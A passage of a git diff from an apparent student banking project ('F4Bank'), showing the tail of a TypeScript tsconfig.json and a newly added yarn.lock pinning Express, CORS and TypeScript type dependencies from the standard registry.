/* Report errors in .js files. */ + // "jsx": "preserve", /* Specify JSX code generation: 'preserve', 'react-native', or 'react'. */ + // "declaration": true, /* Generates corresponding '.d.ts' file. */ + // "declarationMap": true, /* Generates a sourcemap for each corresponding '.d.ts' file. */ + // "sourceMap": true, /* Generates corresponding '.map' file. */ + // "outFile": "./", /* Concatenate and emit output to single file. */ + "outDir": "./build", /* Redirect output structure to the directory. */ + "rootDir": "./src", /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */ + // "composite": true, /* Enable project compilation */ + // "tsBuildInfoFile": "./", /* Specify file to store incremental compilation information */ + // "removeComments": true, /* Do not emit comments to output. */ + // "noEmit": true, /* Do not emit outputs. */ + // "importHelpers": true, /* Import emit helpers from 'tslib'. */ + // "downlevelIteration": true, /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */ + // "isolatedModules": true, /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */ + + /* Strict Type-Checking Options */ + "strict": true, /* Enable all strict type-checking options. */ + // "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */ + // "strictNullChecks": true, /* Enable strict null checks. */ + // "strictFunctionTypes": true, /* Enable strict checking of function types. */ + // "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */ + // "strictPropertyInitialization": true, /* Enable strict checking of property initialization in classes. */ + // "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */ + // "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */ + + /* Additional Checks */ + // "noUnusedLocals": true, /* Report errors on unused locals. */ + // "noUnusedParameters": true, /* Report errors on unused parameters. */ + // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */ + // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */ + // "noUncheckedIndexedAccess": true, /* Include 'undefined' in index signature results */ + + /* Module Resolution Options */ + // "moduleResolution": "node", /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */ + // "baseUrl": "./", /* Base directory to resolve non-absolute module names. */ + // "paths": {}, /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */ + // "rootDirs": [], /* List of root folders whose combined content represents the structure of the project at runtime. */ + // "typeRoots": [], /* List of folders to include type definitions from. */ + // "types": [], /* Type declaration files to be included in compilation. */ + // "allowSyntheticDefaultImports": true, /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */ + "esModuleInterop": true, /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */ + // "preserveSymlinks": true, /* Do not resolve the real path of symlinks. */ + // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ + + /* Source Map Options */ + // "sourceRoot": "", /* Specify the location where debugger should locate TypeScript files instead of source locations. */ + // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ + // "inlineSourceMap": true, /* Emit a single file with source maps instead of having a separate file. */ + // "inlineSources": true, /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */ + + /* Experimental Options */ + // "experimentalDecorators": true, /* Enables experimental support for ES7 decorators. */ + // "emitDecoratorMetadata": true, /* Enables experimental support for emitting type metadata for decorators. */ + + /* Advanced Options */ + "skipLibCheck": true, /* Skip type checking of declaration files. */ + "forceConsistentCasingInFileNames": true /* Disallow inconsistently-cased references to the same file. */ + } +} diff --git a/semana15/F4Bank/yarn.lock b/semana15/F4Bank/yarn.lock new file mode 100644 index 0000000..3d90569 --- /dev/null +++ b/semana15/F4Bank/yarn.lock @@ -0,0 +1,453 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + + +"@types/body-parser@*": + version "1.19.0" + resolved "https://registry.yarnpkg.com/@types/body-parser/-/body-parser-1.19.0.tgz#0685b3c47eb3006ffed117cdd55164b61f80538f" + integrity sha512-W98JrE0j2K78swW4ukqMleo8R7h/pFETjM2DQ90MF6XK2i4LO4W3gQ71Lt4w3bfm2EvVSyWHplECvB5sK22yFQ== + dependencies: + "@types/connect" "*" + "@types/node" "*" + +"@types/connect@*": + version "3.4.34" + resolved "https://registry.yarnpkg.com/@types/connect/-/connect-3.4.34.tgz#170a40223a6d666006d93ca128af2beb1d9b1901" + integrity sha512-ePPA/JuI+X0vb+gSWlPKOY0NdNAie/rPUqX2GUPpbZwiKTkSPhjXWuee47E4MtE54QVzGCQMQkAL6JhV2E1+cQ== + dependencies: + "@types/node" "*" + +"@types/cors@^2.8.8": + version "2.8.9" + resolved "https://registry.yarnpkg.com/@types/cors/-/cors-2.8.9.tgz#4bd1fcac72eca8d5bec93e76c7fdcbdc1bc2cd4a" + integrity sha512-zurD1ibz21BRlAOIKP8yhrxlqKx6L9VCwkB5kMiP6nZAhoF5MvC7qS1qPA7nRcr1GJolfkQC7/EAL4hdYejLtg== + +"@types/express-serve-static-core@*": + version "4.17.17" + resolved "https://registry.yarnpkg.com/@types/express-serve-static-core/-/express-serve-static-core-4.17.17.tgz#6ba02465165b6c9c3d8db3a28def6b16fc9b70f5" + integrity sha512-YYlVaCni5dnHc+bLZfY908IG1+x5xuibKZMGv8srKkvtul3wUuanYvpIj9GXXoWkQbaAdR+kgX46IETKUALWNQ== + dependencies: + "@types/node" "*" + "@types/qs" "*" + "@types/range-parser" "*" + +"@types/express@^4.17.8": + version "4.17.9" + resolved "https://registry.yarnpkg.com/@types/express/-/express-4.17.9.tgz#f5f2df6add703ff28428add52bdec8a1091b0a78" + integrity sha512-SDzEIZInC4sivGIFY4Sz1GG6J9UObPwCInYJjko2jzOf/Imx/dlpume6Xxwj1ORL82tBbmN4cPDIDkLbWHk9hw== + dependencies: + "@types/body-parser" "*" + "@types/express-serve-static-core" "*" + "@types/qs" "*" + "@types/serve-static" "*" + +"@types/mime@*": + version "2.0.3" + resolved "https://registry.yarnpkg.com/@types/mime/-/mime-2.0.3.tgz#c893b73721db73699943bfc3653b1deb7faa4a3a" + integrity sha512-Jus9s4CDbqwocc5pOAnh8ShfrnMcPHuJYzVcSUU7lrh8Ni5HuIqX3oilL86p3dlTrk0LzHRCgA/GQ7uNCw6l2Q== + +"@types/node@*", "@types/node@^14.11.10": + version "14.14.20" + resolved "https://registry.yarnpkg.com/@types/node/-/node-14.14.20.tgz#f7974863edd21d1f8a494a73e8e2b3658615c340" + integrity sha512-Y93R97Ouif9JEOWPIUyU+eyIdyRqQR0I8Ez1dzku4hDx34NWh4HbtIc3WNzwB1Y9ULvNGeu5B8h8bVL5cAk4/A== + +"@types/qs@*": + version "6.9.5" + resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.9.5.tgz#434711bdd49eb5ee69d90c1d67c354a9a8ecb18b" + integrity sha512-/JHkVHtx/REVG0VVToGRGH2+23hsYLHdyG+GrvoUGlGAd0ErauXDyvHtRI/7H7mzLm+tBCKA7pfcpkQ1lf58iQ== + +"@types/range-parser@*": + version "1.2.3" + resolved "https://registry.yarnpkg.com/@types/range-parser/-/range-parser-1.2.3.tgz#7ee330ba7caafb98090bece86a5ee44115904c2c" + integrity sha512-ewFXqrQHlFsgc09MK5jP5iR7vumV/BYayNC6PgJO2LPe8vrnNFyjQjSppfEngITi0qvfKtzFvgKymGheFM9UOA== + +"@types/serve-static@*": + version "1.13.8" + resolved "https://registry.yarnpkg.com/@types/serve-static/-/serve-static-1.13.8.tgz#851129d434433c7082148574ffec263d58309c46" + integrity sha512-MoJhSQreaVoL+/hurAZzIm8wafFR6ajiTM1m4A0kv6AGeVBl4r4pOV8bGFrjjq1sGxDTnCoF8i22o0/aE5XCyA== + dependencies: + "@types/mime" "*" + "@types/node" "*" + +accepts@~1.3.7: + version "1.3.7" + resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd" + integrity sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA== + dependencies: + mime-types "~2.1.24" + negotiator "0.6.2" + +array-flatten@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2" + integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI= + +body-parser@1.19.0: + version "1.19.0" + resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a" + integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw== + dependencies: + bytes "3.1.0" + content-type "~1.0.4" + debug "2.6.9" + depd "~1.1.2" + http-errors "1.7.2" + iconv-lite "0.4.24" + on-finished "~2.3.0" + qs "6.7.0" + raw-body "2.4.0" + type-is "~1.6.17" + +bytes@3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6" + integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg== + +content-disposition@0.5.3: + version "0.5.3" + resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd" + integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g== + dependencies: + safe-buffer "5.1.2" + +content-type@~1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b" + integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA== + +cookie-signature@1.0.6: + version "1.0.6" + resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c" + integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw= + +cookie@0.4.0: + version "0.4.0" + resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba" + integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg== + +cors@^2.8.5: + version "2.8.5" + resolved "https://registry.yarnpkg.com/cors/-/cors-2.8.5.tgz#eac11da51592dd86b9f06f6e7ac293b3df875d29" + integrity sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g== + dependencies: + object-assign "^4" + vary "^1" + +debug@2.6.9: + version "2.6.9" + resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" + integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== + dependencies: + ms "2.0.0" + +depd@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" + integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak= + +destroy@~1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80" + integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA= + +ee-first@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d" + integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0= + +encodeurl@~1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59" + integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k= + +escape-html@~1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988" + integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg= + +etag@~1.8.1: + version "1.8.1" + resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887" + integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc= + +express@^4.17.1: + version "4.17.1" + resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134" + integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g== + dependencies: + accepts "~1.3.7" + array-flatten "1.1.1" + body-parser "1.19.0" + content-disposition "0.5.3" + content-type "~1.0.4" + cookie "0.4.0" + cookie-signature "1.0.6" + debug "2.6.9" + depd "~1.1.2" + encodeurl "~1.0.2" + escape-html "~1.0.3" + etag "~1.8.1" + finalhandler "~1.1.2" + fresh "0.5.2" + merge-descriptors "1.0.1" + methods "~1.1.2" + on-finished "~2.3.0" + parseurl "~1.3.3" + path-to-regexp "0.1.7" + proxy-addr "~2.0.5" + qs "6.7.0" + range-parser "~1.2.1" + safe-buffer "5.1.2" + send "0.17.1" + serve-static "1.14.1" + setprototypeof "1.1.1" + statuses "~1.5.0" + type-is "~1.6.18" + utils-merge "1.0.1" + vary "~1.1.2" + +finalhandler@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d" + integrity sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA== + dependencies: + debug "2.6.9" + encodeurl "~1.0.2" + escape-html "~1.0.3" + on-finished "~2.3.0" + parseurl "~1.3.3" + statuses "~1.5.0" + unpipe "~1.0.0" + +forwarded@~0.1.2: + version "0.1.2" + resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.1.2.tgz#98c23dab1175657b8c0573e8ceccd91b0ff18c84" + integrity sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ= + +fresh@0.5.2: + version "0.5.2" + resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7" + integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac= + +http-errors@1.7.2: + version "1.7.2" + resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f" + integrity sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg== + dependencies: + depd "~1.1.2" + inherits "2.0.3" + setprototypeof "1.1.1" + statuses ">= 1.5.0 < 2" + toidentifier "1.0.0" + +http-errors@~1.7.2: + version "1.7.3" + resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06" + integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw== + dependencies: + depd "~1.1.2" + inherits "2.0.4" + setprototypeof "1.1.1" + statuses ">= 1.5.0 < 2" + toidentifier "1.0.0" + +iconv-lite@0.4.24: + version "0.4.24" + resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b" + integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA== + dependencies: + safer-buffer ">= 2.1.2 < 3" + +inherits@2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de" + integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4= + +inherits@2.0.4: + version "2.0.4" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c" + integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== + +ipaddr.js@1.9.1: + version "1.9.1" + resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3" + integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g== + +media-typer@0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748" + integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g= + +merge-descriptors@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61" + integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E= + +methods@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee" + integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4= + +mime-db@1.45.0: + version "1.45.0" + resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.45.0.tgz#cceeda21ccd7c3a745eba2decd55d4b73e7879ea" + integrity sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w== + +mime-types@~2.1.24: + version "2.1.28" + resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.28.tgz#1160c4757eab2c5363888e005273ecf79d2a0ecd" + integrity sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ== + dependencies: + mime-db "1.45.0" + +mime@1.6.0: + version "1.6.0" + resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1" + integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg== + +ms@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" + integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g= + +ms@2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a" + integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg== + +negotiator@0.6.2: + version "0.6.2" + resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb" + integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw== + +object-assign@^4: + version "4.1.1" + resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863" + integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM= + +on-finished@~2.3.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947" + integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc= + dependencies: + ee-first "1.1.1" + +parseurl@~1.3.3: + version "1.3.3" + resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4" + integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ== + +path-to-regexp@0.1.7: + version "0.1.7" + resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c" + integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w= + +proxy-addr@~2.0.5: + version "2.0.6" + resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.6.tgz#fdc2336505447d3f2f2c638ed272caf614bbb2bf" + integrity sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw== + dependencies: + forwarded "~0.1.2" + ipaddr.js "1.9.1" + +qs@6.7.0: + version "6.7.0" + resolved "https://registry.yarnpkg.com/qs/-/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc" + integrity sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ== + +range-parser@~1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031" + integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg== + +raw-body@2.4.0: + version "2.4.0" + resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332" + integrity sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q== + dependencies: + bytes "3.1.0" + http-errors "1.7.2" + iconv-lite "0.4.24" + unpipe "1.0.0" + +safe-buffer@5.1.2: + version "5.1.2" + resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d" + integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g== + +"safer-buffer@>= 2.1.2 < 3": + version "2.1.2" + resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a" + integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== + +send@0.17.1: + version "0.17.1" + resolved "https://registry.yarnpkg.com/send/-/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8" + integrity sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg== + dependencies: + debug "2.6.9" + depd "~1.1.2" + destroy "~1.0.4" + encodeurl "~1.0.2" + escape-html "~1.0.3" + etag "~1.8.1" + fresh "0.5.2" + http-errors "~1.7.2" + mime "1.6.0" + ms "2.1.1" + on-finished "~2.3.0" + range-parser "~1.2.1" + statuses "~1.5.0" + +serve-static@1.14.1: + version "1.14.1" + resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9" + integrity sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg== + dependencies: + encodeurl "~1.0.2" + escape-html "~1.0.3" + parseurl "~1.3.3" + send "0.17.1" + +setprototypeof@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683" + integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw== + +"statuses@>= 1.5.0 < 2", statuses@~1.5.0: + version "1.5.0" + resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c" + integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow= + +toidentifier@1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553" + integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw== + +type-is@~1.6.17, type-is@~1.6.18: + version "1.6.18" + resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131" + integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g== + dependencies: + media-typer "0.3.0" + mime-types "~2.1.24" + +typescript@^4.0.3: + version "4.1.3" + resolved "https://registry.yarnpkg.com/typescript/-/typescript-4.1.3.tgz#519d582bd94cba0cf8934c7d8e8467e473f53bb7" + integrity sha512-B3ZIOf1IKeH2ixgHhj6la6xdwR9QrLC5d1VKeCSY4tvkqhF2eqd9O7txNlS0PO3GrBAFIdr3L1ndNwteUbZLYg== + +unpipe@1.0.0, unpipe@~1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" + integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw= + +utils-merge@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713" + integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM= + +vary@^1, vary@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc" + integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=